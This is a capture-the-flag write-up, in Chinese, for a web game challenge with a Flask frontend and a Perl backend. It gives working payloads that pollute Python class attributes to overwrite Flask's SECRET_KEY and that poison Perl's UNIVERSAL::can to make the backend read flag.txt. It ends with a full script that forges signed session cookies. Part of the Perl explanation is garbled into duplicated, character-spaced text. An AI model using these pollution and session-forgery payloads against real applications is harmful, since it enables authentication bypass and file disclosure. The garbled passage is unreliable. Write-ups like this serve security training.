題目實現了一個Game,分為前后端
part 1
前端存在明顯原型污染
def copy(src, dst):for k, v in src.items():if hasattr(dst, "__getitem__"):if dst.get(k) and type(v) == dict:copy(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:copy(v, getattr(dst, k))else:setattr(dst, k, v)@app.route("/score", methods=["POST"])
@game_session
def submit():score = ScoreSubmission(session["game"]["player"])copy(request.json, score)acquired_items = json.loads(session["items"].decode())score.items = acquired_itemsreturn score.toJSON()
我們可以利用此處污染密鑰讓我們可以偽造session
https://tttang.com/archive/1876/#toc_secret_key
github.com/noraj/flask-session-cookie-manager
{"__init__" : {"__globals__" : {"app" : {"config" : {"SECRET_KEY" :"A5rZ"}}}}
}
part 2
后端也存在類似原型污染的東西
sub setAttribute {my $dst = shift;my $key_name = shift;my $value_ref = shift;if (!defined $key_name || $key_name eq '' || !defined $value_ref) {return 0;}no strict 'refs';*{"$dst"."::$key_name"} = $value_ref;use strict 'refs';return 1;}sub copyItems {my $dst = shift;my $src = shift;foreach my $key (keys %$src) {if (defined $dst->{$key} && ref $dst->{$key} eq 'HASH' && ref $src->{$key} eq 'HASH') {copyItems($dst->{$key}, $src->{$key});} elsif (!defined $dst->{$key}) {if (ref $src->{$key} ne 'HASH') {$dst->{$key} = $src->{$key};} else {foreach my $inner_key (keys %{$src->{$key}}) {my $index = $src->{$key}->{$inner_key};setAttribute($key, $inner_key, $game_artifacts->{$index});}}} elsif (defined $dst->{$key} && ref $dst->{$key} ne 'HASH') {$dst->{$key} = $src->{$key};}}return $dst;}
我們發現此處存在符號表污染,再結合路由邏輯思考
post '/event' => sub { my $choice = (body_parameters->get('choice'));my $player_name = (body_parameters->get('name'));if (!exists $curr_games{$player_name}) {return {success => 0};}my $game = $curr_games{$player_name};my $next = $all_events->{$game->currEv()}->{ev_choice}[$choice]{"goto"};$game->addEv($next);my $next_ev = $all_events->{$next};if ($game->currEv() == 20) {my $stats = deserialize(decode_json(decode_base64(body_parameters->get('items'))));$stats->{Game} = $player_name;$game->{inventory} = $stats;if ($game->{inventory}->can("hasAllItems")) {if ($game->{inventory}->hasAllItems($game_artifacts) == 1) {$next_ev = $all_events->{21};} else {$next_ev = $all_events->{22};}}}my $results = {success => 1,player => $player_name,ev_title => $next_ev->{ev_name},ev_desc => $next_ev->{ev_content},ev_choice => $next_ev->{ev_choice}};if (defined $next_ev->{ev_item}) {$results->{ev_item} = $next_ev->{ev_item};}if (defined $game->{inventory}) {foreach my $key (keys %{$game->{inventory}}) {$results->{items}->{$key} = $game->{inventory}->{$key};}}return $results;
};
在?Perl?中,UNIVERSAL?是所有類的祖先,can?方法用于判斷對象是否有某個方法。當 can?被污染讓其返回
item_delegate
,調用? g a m e ? > i n v e n t o r y ? > c a n ( " h a s A l l I t e m s " ) 實際會執行? i t e m d e l e g a t e ,并傳入? game->{inventory}->can("hasAllItems") 實際會執行?item_delegate,并傳入? game?>inventory?>can("hasAllItems")實際會執行?itemd?elegate,并傳入?game->{inventory}?作為參數
{"UNIVERSAL": {"can": "item_delegate"},"desc_filename": "./flag.txt","mermaid_scale": 1,"angels_scarf": 1,"mew_plaque": 1,"mimic_gem": 1
}
現在配合前端污染的key偽造session即可
#!/usr/bin/env python3
from itsdangerous import URLSafeTimedSerializer
from flask.sessions import SecureCookieSessionInterface
from flask import Flask
import jsonsecret_key = "A5rZ"app = Flask(__name__)
app.secret_key = secret_keyGame_key = "Uzj1m86FEW"
payload = b'{"UNIVERSAL":{"can":"item_delegate"},"desc_filename":"./flag.txt","mermaid_scale":1,"angels_scarf":1,"mew_plaque":1,"mimic_gem":1}'# 構造 payload(與題目保持一致)
payload = {'game': {'ev_choice': [{'desc': 'Oh no', 'goto': 22, 'id': 0}],'ev_desc': "The pair look at each other before they beckon you to approach, and they do not look happy. The angel bellows, terrifyingly, of your misdeeds. 'First, you mess up the antechamber, tread dust on the carpets, and disrupt our guests. Do you think you are above the rules of this castle?' In one quick movement, a gust of wind takes you through the window and into the open air. It seems like the MYTHOS has claimed yet another victim.",'ev_title': 'MYTHOS BAD ENDING','items': {'Game': Game_key, 'Inventory': 'Inventory'},'player': Game_key, 'success': 1},'items': payload
}with app.app_context():s = SecureCookieSessionInterface().get_signing_serializer(app)cookie = s.dumps(payload)print("偽造好的 session cookie:\n")print(cookie)